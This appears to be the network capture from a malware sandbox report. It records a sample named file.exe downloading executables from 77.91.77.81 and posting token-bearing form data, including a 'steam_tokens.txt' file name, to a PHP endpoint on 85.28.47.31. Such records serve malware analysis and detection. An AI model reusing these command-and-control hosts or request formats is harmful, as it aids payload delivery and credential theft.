Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:39:10.232273102 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 24, 2024 02:39:11.060828924 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:39:10 GMT Content-Type: application/octet-stream Content-Length: 1879040 Last-Modified: Wed, 24 Jul 2024 00:04:15 GMT Connection: keep-alive ETag: "66a044ff-1cac00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafJ@J @XlJxJ @.rsrc@.idata @ @*@xfxaajvq0@zhkwsvqaJ@.taggant0J"@
Jul 24, 2024 02:39:11.060887098 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 24, 2024 02:39:11.060925007 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 24, 2024 02:39:11.060957909 CEST	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 24, 2024 02:39:11.060992002 CEST	1236	IN	Data Raw: 8e 9a bf b4 a0 d1 09 15 e8 d2 27 05 da b0 04 73 59 de 1b 33 d4 d2 be 1a 84 a2 e0 27 b9 38 22 34 1e d1 ab 27 b0 43 70 65 89 09 01 b1 0f 3c 26 cd b1 86 11 fc 32 3a 3e 31 40 69 c4 a6 01 52 7f 41 d5 b9 de 7c 52 51 6f ac b6 d4 7f 1d 61 2e f2 14 a1 e3 Data Ascii: 'sY3'8"4'Cpe<&2:>1@iRA\|RQoa.GEO7TV7zba"%N7sDZ[0C6"W!:&a0V}e!B`m&oQ =E\|w}%Q'#`~T:[{/[hT c`)
Jul 24, 2024 02:39:11.061026096 CEST	1236	IN	Data Raw: 79 c5 01 d5 1d a4 6f dd d7 a2 de fc 51 fe 88 58 de d1 27 fd 89 a6 12 c5 f2 be 7f 91 c9 a9 29 f0 81 72 43 55 96 c5 07 5a ce 82 61 ec 23 b2 01 85 b0 ee 1b 54 b3 f3 bf 54 f9 bd ef b4 af da f9 56 02 cd 61 9a ef d0 1f 90 ff c9 2f bf 15 d2 47 09 df a2 Data Ascii: yoQX')rCUZa#TTVa/G1hX>QS_DJ@rU?iQW0YouzRo>}ZTp&o7".UVzWTp/h>^PS:ne!zo}nX<y\|>Q/BTY'U
Jul 24, 2024 02:39:11.061060905 CEST	1236	IN	Data Raw: f5 9f 0a 11 c0 96 7d f2 fb 88 fb 35 5e 3b 2d 21 d5 f6 d4 01 dd a7 ab 8d 3d cf b5 40 1a 8e da 4a 09 86 63 53 0f 9e 5f 2c ff 79 03 0d bc 80 e0 55 fb cf fb f4 36 09 f8 eb 61 18 02 39 b2 82 77 bd f1 2d a6 2a c9 e0 34 ea 77 0c d2 95 a2 fd e5 d2 97 b7 Data Ascii: }5^;-!=@JcS_,yU6a9w-*4wu04@,@3zH.9aEGvs}LvwY7B}MFcP@x<qQRs])~Irj4qg-fVqm/XiES#KCsf" 0zX#G(B
Jul 24, 2024 02:39:11.061094046 CEST	1236	IN	Data Raw: b6 63 aa 16 33 3b 87 85 61 c2 88 71 31 93 ef 42 1c f7 5a 34 24 bf 4d 76 8e 8d 05 f8 1a ce c0 70 9c ac 3b 00 1d 23 d8 b2 ca 9e f5 56 a3 30 7f 76 fa 85 d4 04 fa 1e 7b 85 d4 f0 3f 3f af 37 37 42 cb 44 cf 68 49 05 6f 7f 8e a8 37 59 81 fa 89 57 13 f3 Data Ascii: c3;aq1BZ4$Mvp;#V0v{??77BDhIo7YW=;8&6-J"1.:/k*q%<kQ12`7[^AKg#?:r9q bo^D>q3nD4Zl1=<(967Rl
Jul 24, 2024 02:39:11.061127901 CEST	1236	IN	Data Raw: cf da 61 a6 29 a6 68 b2 98 ea 36 29 1e 96 d1 70 a7 cd 25 fc df 95 7e f9 06 96 71 15 4a f6 23 34 0f 67 4e c6 ce d3 72 7f 4a f9 d4 0e bc d0 07 45 31 23 46 19 d1 4e 4b 8f b1 bc 8b c4 f9 88 36 b5 b7 d1 83 10 5a 82 f8 a2 49 5c ad 5f 0c 66 7e 7c cc fa Data Ascii: a)h6)p%~qJ#4gNrJE1#FNK6ZI\_f~\|_15DJ-G>kvP>`pD/7'4j;lHlbeSXT3r8uE?2f7C/UFq7T0D?[~#CVf}9@un"=Jsbz%I_
Jul 24, 2024 02:39:11.061161041 CEST	1236	IN	Data Raw: b2 16 44 2f e9 83 3d 2f a3 a2 b6 3a b6 6f b7 fe 20 ac e8 43 91 8c 59 ef 8b 36 eb 73 c0 a3 67 2f 81 14 27 b1 0c 3d c0 dc 3e 6c 8f 47 e6 20 f9 6e cc e3 b4 ee 54 7e f3 04 b0 b9 0d 79 ce 93 a9 70 20 dc 35 27 8a 5b 67 67 7d c2 23 3d 99 21 6e 56 b2 bd Data Ascii: D/=/:o CY6sg/'=>lG nT~yp 5'[gg}#=!nV#6Jwq;:Wr\|2:?J9?T.Urs{7DWui4!2oM-A.Mxf'"'x<}Rbgw`1J@K
Jul 24, 2024 02:39:11.061198950 CEST	1236	IN	Data Raw: 0f c7 85 70 bf 5c f9 73 c0 b9 33 37 4c 61 80 9e ee fc 27 7b bb 20 37 7d b7 89 55 f1 b7 03 40 e0 3c 56 3e 80 0d b5 cc 9c 31 3f 83 79 1d e9 79 e6 37 b5 26 73 1f 19 43 90 ff ea 8f 32 88 7a c7 92 96 ef 09 c9 58 5e 68 77 aa 2f 3f 45 78 56 5b 76 37 f8 Data Ascii: p\s37La'{ 7}U@<V>1?yy7&sC2zX^hw/?ExV[v7@nFgR1"r%/#?h"xT+vus6bxjrs>vXCO{DKF:a*{w pO=\|5S[{Eq}y_ _\|?lf,T?$
Jul 24, 2024 02:39:12.812604904 CEST	73	OUT	GET /cost/go.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 24, 2024 02:39:13.033544064 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:39:12 GMT Content-Type: application/octet-stream Content-Length: 91648 Last-Modified: Wed, 24 Jul 2024 00:03:39 GMT Connection: keep-alive ETag: "66a044db-16600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb@]2V0@\|qpt,.code78 `.textP< `.rdata304@@.data,pD@.rsrcV@@
Jul 24, 2024 02:39:13.162208080 CEST	77	OUT	GET /soka/random.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 24, 2024 02:39:13.405196905 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:39:13 GMT Content-Type: application/octet-stream Content-Length: 1929728 Last-Modified: Tue, 23 Jul 2024 12:15:17 GMT Connection: keep-alive ETag: "669f9ed5-1d7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2a cf 5e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL*^fpL@L>@XlWLLWL @.rsrc@.idata @ P+@qhedmxhi`2Z@aflvgrfd`LL@.taggant0pL"P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	85.28.47.31	80	6896	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:39:15.923311949 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCG Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file"------JEGHCBAFBFHIIECBKFCG--
Jul 24, 2024 02:39:16.931209087 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:17.330605984 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"files------KKJKFBKKECFHJKEBKEHI--
Jul 24, 2024 02:39:17.515902996 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:17.965609074 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGD Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCAAEBFHJJDAAKFIECGD--
Jul 24, 2024 02:39:18.507586956 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49815	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:39:27.667171955 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 24, 2024 02:39:28.140940905 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 23 Jul 2024 09:24:28 GMT Age: 54900 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 24, 2024 02:39:38.158978939 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:39:48.174412012 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:39:53.136761904 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 24, 2024 02:39:53.237693071 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 23 Jul 2024 09:24:28 GMT Age: 54925 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49819	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:39:28.182401896 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 24, 2024 02:39:28.635212898 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 23 Jul 2024 00:48:10 GMT Age: 85878 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 24, 2024 02:39:38.646506071 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:39:48.665185928 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49858	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:39:53.261898994 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 24, 2024 02:39:53.716762066 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 23 Jul 2024 00:48:10 GMT Age: 85903 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 24, 2024 02:39:54.037262917 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 24, 2024 02:39:54.134315014 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 23 Jul 2024 00:48:10 GMT Age: 85904 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 24, 2024 02:39:54.158752918 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 24, 2024 02:39:54.256758928 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 23 Jul 2024 00:48:10 GMT Age: 85904 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 24, 2024 02:40:04.264779091 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:14.284668922 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:24.307775974 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:24.824812889 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 24, 2024 02:40:24.922298908 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 23 Jul 2024 00:48:10 GMT Age: 85934 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 24, 2024 02:40:34.931353092 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:45.025269985 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:55.040237904 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:41:05.055912971 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:41:15.082907915 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:41:25.192078114 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49860	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:39:53.558006048 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 24, 2024 02:39:54.034447908 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 23 Jul 2024 09:32:16 GMT Age: 54457 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 24, 2024 02:39:54.053611994 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
